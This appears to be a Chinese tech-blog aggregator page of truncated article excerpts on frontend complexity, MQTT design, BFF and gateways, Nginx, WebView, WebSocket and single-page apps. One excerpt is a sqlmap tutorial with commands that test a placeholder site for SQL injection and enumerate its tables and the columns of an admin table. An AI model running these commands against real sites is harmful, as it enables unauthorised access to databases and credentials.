后端技术

从「后端现在已经看不懂前端了」说起

人盡茶涼 提交于 2020-01-08 16:23:46
V2EX 这两天有一篇这样的帖子: 《说句实话,我后端现在已经看不懂前端了,太难了》 原文内容是: 看不懂惹,肿么办,最近在学 react,完全抓瞎。 然后又附加了内容: 一直用的 jquery,手动找位置然后对应 dom 操作,现在各种前端各种依赖,一会 route 一会 webpack 的 给爷整蒙了都。 类似这样的帖子多年来数不胜数,但这次评论区的评论比较典型,所以我决定这次不再沉默。当然,本文并非针对帖子作者。 对于那些抱怨前端「看不懂」的网友,我们应该问他们一个问题:为什么前端就应该是谁都能看懂? 这些网友从来不会抱怨别的领域的代码看不懂,比如他们不会说「我一个前端已经看不懂后端了」,或者「我一个后端已经看不懂 iOS 」了。 所以在这些网友心中,前端代码就是要谁都看得懂才是正常的。因为谁都应该看得懂 HTML, 谁都看得懂 CSS. 显然,这群人对前端的认知还活在过去,他们一边享受着用 Web 技术做出来应用,一边意淫着这些包含复杂业务逻辑的 Web 应用靠 HTML 和 Vanilla JS (原生 JS) 就能写成。 换句话说,这群人最大的问题在于,他们意识不到 GUI 开发 (Graphic User Interface Programming) 是一个从图形界面被发明开始就一直在被研究的独立领域,而 Web 前端只是 GUI 开发的其中一个分支而已。

sqlmap注入使用方法

余生长醉 提交于 2020-01-08 09:45:33
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 1.SQLMAP用于Access数据库注入 (1)猜解是否能注入 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" Linux : ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" (2)猜解表 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables (3)根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表) win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin (4)根据字段猜解内容

mqtt协议系统设计参考

蓝咒 提交于 2020-01-07 15:52:39
作者:极寒 链接:https://zhuanlan.zhihu.com/p/28525517 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 回顾自己的工作经历最遗憾的是没有用代码实现设计好的系统就匆匆离职了!写这篇文章主要目的是分享一下实现通信服务的思路,方便大家设计自己的通信服务,也希望通过分享实践知道设计中的不足。工作的公司是做电动汽车充电的可以说是一个很伟大的物联网项目,一个EVCS系统(Electric vehicle charging system)包括APP、云平台、充电桩、电动汽车等部分。在云平台众多的服务中通信服务是一个负责接入嵌入式网关和与后端业务服务相协调的中间件。今天主要根据自己的经历分享一下通信服务的实现细节,其中包括具体实践的也有针对系统缺陷做的一些思考。本文内容不局限于电动汽车充电系统只是以电动汽车充电系统为例,也可以作为基于mqtt协议系统的设计参考。 术语说明 嵌入式网关:它一般由嵌入式微处理器、外围硬件设备、嵌入 式操作系统以及用户的应用程序等四个部分组成。在本系统中负责继电器的开关以及与服务器的网络通信。 充电设备(充电桩):给电动汽车充电的设备通过充电枪与车连接,里面包含了一个嵌入式网关。 comm:一个需要我们实现的broker扩展程序,communication 的简称。 通信服务

微服务架构~BFF和网关

你。 提交于 2020-01-07 10:06:05
介绍 BFF(Backend for Frontend)和网关Gateway是微服务架构中的两个重要概念,这两个概念相对比较新,有些开发人员甚至是架构师都不甚理解。 本文用假想的公司案例+图示的方式,解释BFF和网关是什么,它们是怎么演化出来的。希望对架构师设计和落地微服务架构有所启发。 服务化架构V1 我们先把时间推回到大致2011年左右。假设有一家有一定业务体量的电商公司A,在这个时间点它已经完成单块应用的解构拆分,内部SOA服务化已经初步完成。这个时候它的无线应用还没有起步,前端用户体验层主要是传统的服务端Web应用,总体服务化架构V1如下图所示。 服务化架构V2 时间转眼来到2012年初,国内的无线应用开始起风,A公司也紧跟市场趋势,研发自己的无线原生App。为了能尽快上线,公司的架构师提出如下V2架构,让App直接调用内部的服务: 这个架构有如下问题: 无线App和内部微服务强耦合,任何一边的变化都可能对另外一边造成影响。 无线App需要知道内部服务的地址等细节。 无线App端需要开发大量的聚合裁剪和适配逻辑: 聚合 :某一个功能需要同时调用几个后端API进行组合,比如首页需要显示分类和产品细节,就要同时调用分类API和产品API,不能一次调用完成。 裁剪 :后端服务返回的Payload一般比较通用,App需要根据设备类型进行裁剪,比如手机屏幕小

萌新常问:Web前端是干什么的?和后端是啥关系?

怎甘沉沦 提交于 2020-01-06 20:52:49
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 最近遇到一些小萌新,他们经常会问到“Web前端是什么?它能做什么?与后端的关系是什么?”。下面,针对这些问题给大家解答一下。 Web前端工程师是干什么的? 我们先了解Web前端工程师是干什么的,百度百科的解释: Web前端开发工程师,主要职责是利用(X)HTML/CSS/JavaScript/Flash等各种Web技术进行客户端产品的开发。 完成客户端程序(也就是浏览器端)的开发,开发JavaScript以及Flash模块,同时结合后台开发技术模拟整体效果,进行丰富互联网的Web开发,致力于通过技术改善用户体验。 得知这个之后,那么什么是Web前端相信各位也就有个大概了解了,就是浏览器和app界面的开发嘛。 Web是什么呢?Web就是万维网,要彻底的解释这个名词就需要些篇幅了,这里就用一句话总结,就是一种全球都公认的协议,一个信息系统,必须遵守这个协议才能上网。 Web前端其实就是前端,或者前端技术,前端开发,这几个名词其实意思都差不多的。 浏览器界面是什么呢,比如你打开百度网站: 以上这个界面全是利用Web前端技术做出来的,比如上方这些: 这些字根据您的上网常识,应该都知道是可以点击的,点击完会跳到一个新的界面,但是有些字又不能点击,这就是用了前端技术实现的。 接着看,这个百度的logo: 不难看出

《Nginx系列》之青铜入门篇 反向代理 负载均衡 动静分离就是这么简单

感情迁移 提交于 2020-01-06 16:10:41
1.什么是Nginx? Nginx是一个高性能的自由、开源的HTTP和 反向代理服务器 ,特点是 占用内存少 , 并发性能强 。 nginx能干嘛? 可以作为IMAP、POP3、SMTP的代理服务器; 可以作为HTTP服务器进行网站的发布处理; 可以作为反向代理进行负载均衡的实现; 2.Nginx的安装 2.1 将Nginx相关安装包上传到服务器上 [root@localhost nginx-1.12]# ls -l 总用量 2956 -rw-r--r--. 1 root root 981687 12月 21 16:09 nginx-1.12.2.tar.gz -rw-r--r--. 1 root root 2041593 12月 21 16:09 pcre-8.37.tar.gz nginx-1.12.2.tar.gz :nginx源码包,用于安装Nginx pcre-8.37.tar.gz :Perl库, 是一个用C语言编写的正则表达式函数库 。 2.2 安装pcre 解压pcre源码安装包 [root@localhost nginx-1.12]# tar zxf pcre-8.37.tar.gz 编译安装pcre [root@localhost pcre-8.37]# ./configure checking for a BSD-compatible install...

WebView性能、体验分析与优化

落爺英雄遲暮 提交于 2020-01-04 03:27:14
在App开发中,内嵌WebView始终占有着一席之地。它能以较低的成本实现Android、iOS和Web的复用,也可以冠冕堂皇的突破苹果对热更新的封锁。 然而便利性的同时,WebView的性能体验却备受质疑,导致很多客户端中需要动态更新等页面时不得不采用其他方案。 以发展的眼光来看,功能的动态加载以及三端的融合将会是大趋势。那么如何克服WebView固有的问题呢?我们将从性能、内存消耗、体验、安全几个维度,来系统的分析客户端默认WebView的问题,以及对应的优化方案。 性能 对于WebView的性能,给人最直观的莫过于:打开速度比native慢。 是的,当我们打开一个WebView页面,页面往往会慢吞吞的loading很久,若干秒后才出现你所需要看到的页面。 这是为什么呢? 对于一个普通用户来讲,打开一个WebView通常会经历以下几个阶段: 交互无反馈 到达新的页面,页面白屏 页面基本框架出现,但是没有数据;页面处于loading状态 出现所需的数据 如果从程序上观察,WebView启动过程大概分为以下几个阶段: 如何缩短这些过程的时间,就成了优化WebView性能的关键。 接下来我们逐一分析各个阶段的耗时情况,以及需要注意的优化点。 WebView初始化 当App首次打开时,默认是并不初始化浏览器内核的;只有当创建WebView实例的时候,才会创建WebView的基础框架。

WebView性能、体验分析与优化

一个人想着一个人 提交于 2020-01-04 03:26:56
育新 徐宏 嘉洁 · 2017-06-09 20:03 在App开发中,内嵌WebView始终占有着一席之地。它能以 较低的成本 实现Android、iOS和Web的复用,也可以冠冕堂皇的突破苹果对 热更新 的封锁。 然而便利性的同时,WebView的性能体验却 备受质疑 ,导致很多客户端中需要动态更新等页面时不得不采用其他方案。 以发展的眼光来看,功能的动态加载以及 三端的融合将会是大趋势 。 那么如何克服WebView固有的问题呢? 我们将从性能、内存消耗、体验、安全几个维度,来系统的分析客户端默认WebView的问题,以及对应的优化方案。 性能 对于WebView的性能,给人最直观的莫过于: 打开速度比native慢 。 是的,当我们打开一个WebView页面,页面往往会慢吞吞的loading很久,若干秒后才出现你所需要看到的页面。 这是为什么呢? 对于一个普通用户来讲,打开一个WebView通常会经历以下几个阶段: 交互 无反馈 到达新的页面, 页面白屏 页面基本框架出现,但是没有数据; 页面处于loading状态 出现所需的数据 如果从程序上观察,WebView启动过程大概分为以下几个阶段: 如何 缩短这些过程的时间 ,就成了优化WebView性能的关键。 接下来我们逐一分析各个阶段的耗时情况,以及需要注意的优化点。 WebView初始化 当App首次打开时

Java后端WebSocket的Tomcat实现

你说的曾经没有我的故事 提交于 2020-01-03 21:09:34
转自:http://blog.chenzuhuang.com/archive/28.html 文章摘要随着互联网的发展,传统的HTTP协议已经很难满足Web应用日益复杂的需求了。近年来,随着HTML5的诞生,WebSocket协议被提出,它实现了浏览器与服务器的全双工通信,扩展了浏览器与服务端的通信功能,使服务端也能主动向客户端发送数据。 我们知道,传统的HTTP协议是无状态的,每次请求(request)都要由客户端(如浏览器)主动发起,服务端进行处理后返回response结果,而服务端很难主动向客户端发送数据;这种客户端是主动方,服务端是被动方的传统Web模式对于信息变化不频繁的Web应用来说造成的麻烦较小,而对于涉及实时信息的Web应用却带来了很大的不便,如带有即时通信、实时数据、订阅推送等功能的应用。在WebSocket规范提出之前,开发人员若要实现这些实时性较强的功能,经常会使用折衷的解决方法:轮询(polling)和Comet技术。其实后者本质上也是一种轮询,只不过有所改进。 轮询是最原始的实现实时Web应用的解决方案。轮询技术要求客户端以设定的时间间隔周期性地向服务端发送请求,频繁地查询是否有新的数据改动。明显地,这种方法会导致过多不必要的请求,浪费流量和服务器资源。 Comet技术又可以分为长轮询和流技术。长轮询改进了上述的轮询技术,减小了无用的请求

单页面应用

不问归期 提交于 2020-01-02 02:59:45
主要内容: https://blog.csdn.net/weixin_41646716/article/details/80073995  1 概念 : 单页面应用指一个系统只加载一次资源, 下面的操作的交互, 数据的交互是通过router和ajax来进行, 页面并没有刷新. 2 单页面的应用优点 :     分离前后端, 前端负责页面展示,后端负责数据存储和计算, 不会吧前后端的逻辑混合在一起     减轻服务器的压力, 服务器只用出数据就可以     同一套后端程序代码, 就可以用于web界面,手机,平板等多种客户端     用户体验好, 快, 内容的改变不需要重新加载整个页面, web应用更加具有响应性和更令人着迷     SPA和RESTful架构一起使用,后端不再负责模板渲染、输出页面工作,web前端和各种移动终端地位对等,后端API通用化; 3 单页面的缺点 :     初次加载耗时相对增多;     导航不可用,如果一定要导航需要自行实现前进、后退,需要程序来实现管理;     使用脚本修改页面,这个脚本我们都知道,他的兼容性是个大问题;     不利于SEO问题,现在可以通过Prerender等技术解决一部分; 来源: https://www.cnblogs.com/gyh412724/p/9966350.html